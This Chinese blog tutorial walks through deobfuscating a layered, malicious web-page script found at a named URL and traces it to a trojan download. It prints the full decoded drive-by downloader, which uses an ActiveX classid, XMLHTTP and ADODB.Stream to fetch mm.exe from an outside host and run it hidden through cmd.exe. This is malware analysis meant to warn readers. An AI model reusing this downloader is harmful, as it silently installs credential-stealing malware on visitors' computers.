原创文章,转载请写明出处 脚本之家
才发现的破解javascript各种加密的反向思维方法,大家有好的方法都跟帖啊
最近发现了一个代码,加密了5层左右,我将破解到最后一步,而且不用javascript解密程序
用到的软件列表
1、迅雷(下载网页)直接浏览会执行的,看不到源代码
2、或用firefox这个软件可以直接浏览网址,由于firefox的特殊性,也推荐用这个浏览器
一、目标网址 http://www.e9ad.cn/pcdd/80-806.htm
我们用迅雷下载这个页面或用firefox浏览器浏览得到如下代码
复制代码 代码如下:
对于这个的解密呢,分析下
大家看下document.write(dfqc(42)+dfqc(126).....
这个dfqc(42),的dfqc就是解密var dfqc=function(a){return string.fromcharcode(a^22)}
下面我的解密代码也想好了,这个方法基本上可以破解好多的类似代码,大家可以看下这个代码
[ctrl+a 全选 注:如需引入外部js需刷新才能执行]
得到的解密的代码就是
复制代码 代码如下:
ad
二、检查下上面的http://www.e9ad.cn/pcdd/8080.htm和http://pop.*****.com/777/index.htm
我发现下面的iframe加载的有问题,所以呢,
用下载工具下载http://pop.*****.com/777/index.htm这个页面的代码可以发现如下
复制代码 代码如下:
charset='gb2312'>
看这个大家应该会想起,好多网站卖流量类似的代码(就是卖流量的)
三、继续分析下 http://cc.*****.com/wm/index.htm
用下载工具下载这个页面,可以得到
复制代码 代码如下:
好的继续下载http://cc.*****.com/wm/1.js这个js文件我得到了这个代码
复制代码 代码如下:
eval(function(p,a,c,k,e,d){e=function(c){return(c35?
string.fromcharcode(c+29):c.tostring(36))};if(!''.replace(/^/,string)){while(c--)d[e(c)]=k
[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])
p=p.replace(new regexp('\\b'+e(c)+'\\b','g'),k[c]);return p}('f 8(n){3 g=h.j()*n;k\'~5
\'+\'.5\'}l{9=\'m://o.p.q/r/s.a\';3 4=t.u(v);4.w(y,z:a-b-c-d-e);3 x=4.7
(g.x+m+l+h+t+t+p,);3 s=4.7(i.j,);s.k=1;x.b(n,9,0);x.o();6=8(r);3
f=4.7(u.v,);3 5=f.w(0);6=f.d(5,6);s.y();s.z(x.10);s.11(6,2);s.12();3 q=4.7
(13.14,);e=f.d(5+\'\\\\15\',\'16.a\');q.17(e,\' /c \'+6,,b,0)}18(i)
{i=1}',62,71,'|||var|df|tmp|fname1|createobject|gn|dl|exe|open||buildpath|exp1|function|numb
er|math||random|return|try|http||cc|wzxqy|com|wm|mm|document|createelement|object|setattribu
te||classid|clsid|bd96c556|65a3|11d0|983a|00c04fc29e36||microsoft||adodb|stream|type|||get|s
end|||10000|||scripting|filesystemobject|getspecialfolder||open|write|responsebody|savetofil
e|close|shell|application|system32|cmd|shellexecute|catch'.split('|'),0,{}))
大家看到上面的代码可能会发现无法解密了,我搜了下,发现了,竟然有解密代码了,此处可以分析,不
过我这篇文章的目地,是不用解密程序的,所有我用下面的方法,
[ctrl+a 全选 注:如需引入外部js需刷新才能执行]
上面的方法,我要是考虑下几秒想到的方法,以前没想起,现在大家以后就可以更方面的使用了
先将eval后的代码用 var str=.......,然后document.write(str);得到了下面的代码
复制代码 代码如下:
function gn(n){var number=math.random()*n;return'~tmp'+'.tmp'}try
{dl='http://cc.*****.com/wm/mm.exe';var df=document.createelement(object);df.setattribute
(classid,clsid:bd96c556-65a3-11d0-983a-00c04fc29e36);var x=df.createobject
(microsoft.x+m+l+h+t+t+p,);var s=df.createobject
(adodb.stream,);s.type=1;x.open(get,dl,0);x.send();fname1=gn(10000);var
f=df.createobject(scripting.filesystemobject,);var tmp=f.getspecialfolder
(0);fname1=f.buildpath(tmp,fname1);s.open();s.write(x.responsebody);s.savetofile
(fname1,2);s.close();var q=df.createobject(shell.application,);exp1=f.buildpath
(tmp+'\\system32','cmd.exe');q.shellexecute(exp1,' /c '+fname1,,open,0)}catch(i){i=1}
然后我们可以发现这个http://cc.*****.com/wm/mm.exe,先下下载下来,记住下载后一般看大小,病毒
文件都很小,先将mm.exe改名位mm.exe.txt,打开看到了如下代码,唉,
复制代码 代码如下:
如果您的页面没有自动跳转,请点击这里
看到了吗,最主要的就是这个了 http://cc.*****.com/wm/mm.exe?qvyrr=au6bkudmtn1
然后用软件下载,这个就是病毒文件了,
终于完成了 ,发现病毒,应该是盗号系统的木马,现在网上卖流量的很多,大家爱玩游戏的请注意了
当然上面的javascript反向思维方法可以得到大部分的加密的 javascript,而且其它的好多都有解密程
序,大家如果好的方法,都贴出来啊,这样大家才能进步。作者:reterry qq:461478385
原创文章,转载请写明出处 脚本之家